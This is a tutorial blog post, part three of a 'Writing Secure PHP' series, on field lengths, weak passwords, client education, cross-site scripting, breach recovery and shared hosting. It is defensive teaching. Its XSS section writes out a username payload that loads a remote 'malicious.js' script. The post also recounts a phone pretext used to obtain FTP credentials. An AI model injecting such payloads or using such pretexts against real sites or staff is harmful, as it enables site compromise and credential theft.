Writing Secure PHP, Part 3

The third part of the Writing Secure PHP series, covering weak passwords, clients and more advanced topics.

In Writing Secure PHP and Writing Secure PHP, Part 2 I covered many of the basic mistakes PHP developers make, and how to avoid common security problems. It is time to get a little deeper into security though, and begin to tackle some more advanced issues.

[Writing Secure PHP is a series. Part 1, Part 2 and Part 4 are currently also available.]


Before I start, it is worth mentioning at this point in this series that much of what is to come is highly dependant on context. If you are running a small personal site and are regularly backing it up, the chances are that there is no real benefit to you spending weeks on advanced security issues. If an attacker can gain nothing (and cause no harm) by compromising your site, and it would only take you ten minutes to restore it, should something go wrong, then it would be a waste to spend too long on security concerns. At the other end of the scale, if you are managing an ecommerce site that processes thousands of credit cards a day, then it is negligent not to spend a lot of time researching and improving your site's security.

Database Field Lengths

Database (we're going to talk about MySQL here, but this is applicable to any database) fields are always of a specific type, and every type has its limits. You can as well, in MySQL, limit field lengths further than they are already limited by their types.

However, to the inexperienced developer, this can present problems. If you are allowing users to post an article on your site, and adding that to a database field with type "blob", then the longest article you can store in the database is 65,535 characters. For most articles that will be fine, but what is going to happen when a user posts an article of 100,000 characters? At best, if you have set up your site so errors are not displayed, their article will simply vanish without being added to the site.

Remember that for an attacker to be able to compromise your system, they need information about it. They need to find weaknesses. Error messages are a very powerful part of that and if you are displaying errors, then an attacker can make use of this to find out information about your database.

To fix this, simply check the lengths of data input through forms and querystrings and ensure that before you launch a site you check forms will not cause errors to be displayed when too many characters are entered.

Weak Passwords

Dictionaries are a useful tool for an attacker. If you have a site with a login system and your database were compromised (and there is no harm in assuming that at some point it will be), an attacker can grab a list of hashed passwords. It is difficult (practically impossible) to directly translate a hash back into a password.

However, most attackers will have databases containing lists of words and their matching hashes in common formats (eg a database with all words in English and their MD5 hashes). It is fairly easy, should someone gain access to your database, for them to compare a hashed password to this list of pre-hashed passwords. If a match is found in the list, the attacker then knows what the un-hashed password is.

There are ways to avoid this problem, and the best of those is to ensure that only strong passwords are ever used. Some people find guaging the strength of passwords tricky, but the general rule of thumb is: a password like "password", "admin", "god", "sex", "qwerty", "123456" or similar (i.e. easily guessable) is extremely weak; a password made up only of a word in the dictionary is weak; a password made of letters, numbers and making use of upper and lower case is strong (there is a strong usability case to be made for not using case-sensitive passwords - if you wish to use case-insensitve ones, simply perform checks to ensure people do not pick passwords like "password12345").


Clients are a huge security risk, believe it or not. Some will hire a cheaper developer to make small changes six months after you're finished. Some will give out FTP details to anyone who phones and asks for them. [Out of curiosity, I decided to see how easy it is to get FTP details over the phone. I visited the site of a local company (who shall remain nameless) and found the name of their design company (who shall also remain nameless). I then phoned the local company and told them I was with the design company and needed them to send me the site's FTP details. They agreed without question or hesitation. Scary. (I told them what I was doing before they sent any sensitive data to me and they are now better educated and suitably paranoid about people asking for details over the phone).]

Some will ignore emails from people pointing out security problems (in the process of writing the previous article in this series, I found a large selection of sites with publically available database connection scripts. I emailed the owners explaining why they are at risk, and only one has replied and had the problem fixed at the time of writing). Admitedly, many of the emails and calls they receive will be misinformation or sales pitches, but it is still worth them having someone check this out - they do not know enough to distinguish a genuine problem from the rest.

Unfortunately, this is one security problem that cannot be solved with code. This one requires education. For this reason, I have created an unbranded copy of the sheet I give to my clients, with a selection of security tips on. When we launch the site, I sit down with them and tell them how they need to treat their site, and what to consider when making decisions regarding it.

Client Security Handout (PNG, 74KB)

Code Injection (a.k.a. "Cross-Site Scripting")

Unlike SQL Injection, which relies on the use of delimiters in user-input text to take control of database queries, code injection relies on mistakes in the treatment of text before it is output. Or, to put it in simpler terms, code injection is where a malicious user uses a text box to add HTML that they've written to your webpage.

Let's say you have a system that allows users to register as members to your site and that they are allowed to create their own username. They fill out a form, and you insert the data they enter, once you've made it safe to use in a SQL query, into a database. Your members listing page fetches all the usernames from the database and lists them, outputting exactly what is in the database to anyone that views that page.

Now, let's say you've not added a limit to username lengths. Someone could, if they wanted, create a user with the following username:

Username<script type="text/javascript" src="http://www.website.com/malicious.js"></script>

Anyone that then views a page with that username on it will see a normal username, but a JavaScript has been loaded from another site invisibly to the user.

There are plenty of uses for this. First and foremost, it allows attackers to add keyloggers, tracking scripts or porn banners on your site, or just stop your site working altogether. There are several ways to ensure this doesn't happen. First, you could encode HTML in usernames. If you wanted to allow people to use greater-then and less-than signs in their usernames, that is. If not, you can strip these characters out, or strip out HTML tags altogether.

Another, better way to approach this is to limit the character set that can be used in usernames. If you only allow letters and numbers, for example, you could simply use a regular expression in the signup process to validate the username and force the user to pick another if they have disallowed characters in their username. Obviously the problem is not just applicable to usernames - however, as with most other security concerns, being quite paranoid will ensure that you always check data coming from a user before outputting it, and sanitising it in an appropriate way.


Part of a good security strategy is the assumption that at some point everything (and I mean everything) will be deleted or destroyed. It is wise to assume that at some point any security measure you have in place will be compromised. All data may be taken (which is one reason why it is important to encrypt things like passwords and credit card numbers in databases), all files deleted and so on.

One part of PHP development, though perhaps not directly about PHP security, is ensuring that after a catastrophic failure a site can be brought back online quickly. While downtime of four hours maybe acceptable with a low-traffic point-of-presence site, any ecommerce retailer is going to erupt with fury at the thought of that much lost revenue.

Dealing with the client under these circumstances is the first step. Often, your first inkling of a problem with a site may actually come from the client. They may have phoned you and could be angry, worried, or a myriad of other emotions. At moments like this, you would be very glad to have a clear contigency plan in place. Many developers panic when the client phones saying their front page has been defaced. Stick to your action plan and to your client you will seem confident and unphased. That will relax them. The plan will also allow you to resolve the problem far faster.

First, find out what happened. Are you dealing with a security breach or has someone at the host company tripped over a power lead? Was the database compromised, or deleted, as a result of an attack or was your server simply unable to cope with too much traffic? You need to know what has happened in order to deal with it - a site going offline could be down to too many factors to just assume it is a security problem.

Assuming this is a security problem, the next step is to reassure the client. Let them know what has happened. If someone got into the database, no problem - all sensitive data is encrypted. If they've uploaded files to your server (quite possible), you'll have to delete all files and restore from a backup.

You've got to find out how the attacker broke into your system. Check log files, if you have access to them. Also, have a look at hacker and cracker web sites - many of them will list successful attacks against servers by various groups (these are often what are sometimes known as "script kiddies" - not hackers as such, but usually exploiting vulnerabilities found by others). You may well find your site listed and that listing will give you invaluable information. Look at other sites brought down by the same group at around the same time - you will often spot a theme (e.g. all sites that have been attacked were running the same version of IIS or Apache, were all running phpBB, or all are file repositories running on CFML).

If you are running any third party software on the site, check the distribution site and if necessary get in touch with them, especially if other sites running the same software appear to have been compromised.

It is very important that you fix any hole there may be before you restore the site. It would be wise to add a "We are currently undergoing essential maintenance" page, but do not fully restore the site before you have found out and fixed whatever the problem was - you'll be wasting your time.

Shared Hosting

Shared hosting is much cheaper than dedicated hosting, and is where several sites are all hosted on the same server. Most sites are hosted this way, and this brings with it its own set of security issues.

First and foremost, the security of your site is, in these circumstances, almost entirely out of your hands. It is dependant on the hosting company you are with. They may be excellent, or they may be crooks. Check reviews of a company before you select them, as they will have access to all the data you store with them. There is no harm in being automatically suspicious of your hosting company.

If they are completely above board (and most are), you are still not necessarily secure with shared hosting. The security measures they put in place are generally pretty simple. Shared hosting servers should always use PHP's safe mode (which disables many of the more advanced and dangerous features of PHP). That is what it is there for. However, many don't.

Vulnerabilities associated with shared hosting are, for the most part, out of your hands. A badly set up server will allow any site on that server to access files like /etc/passwd and httpd.conf, often giving them access to all other sites on the same server. It is possible to secure yourself to some degree against the effects of this vulnerability. Storing information in a database is recommended. Of course, if you then store your database login in a file, an attacked could access this information. In order to make this inaccessible to others on the same server, you could set database login information within the httpd.conf file, using environmental variables (you will need to ask your host company to add the lines to the httpd.conf file).

Better yet is to ensure that your host, if shared, uses safe mode. While this is still not 100% secure (nothing is), it does help make these attacks more difficult. A dedicated server is another, far better, option, but the expense may be prohibitive.

Ready for more? Try Writing Secure PHP, Part 4.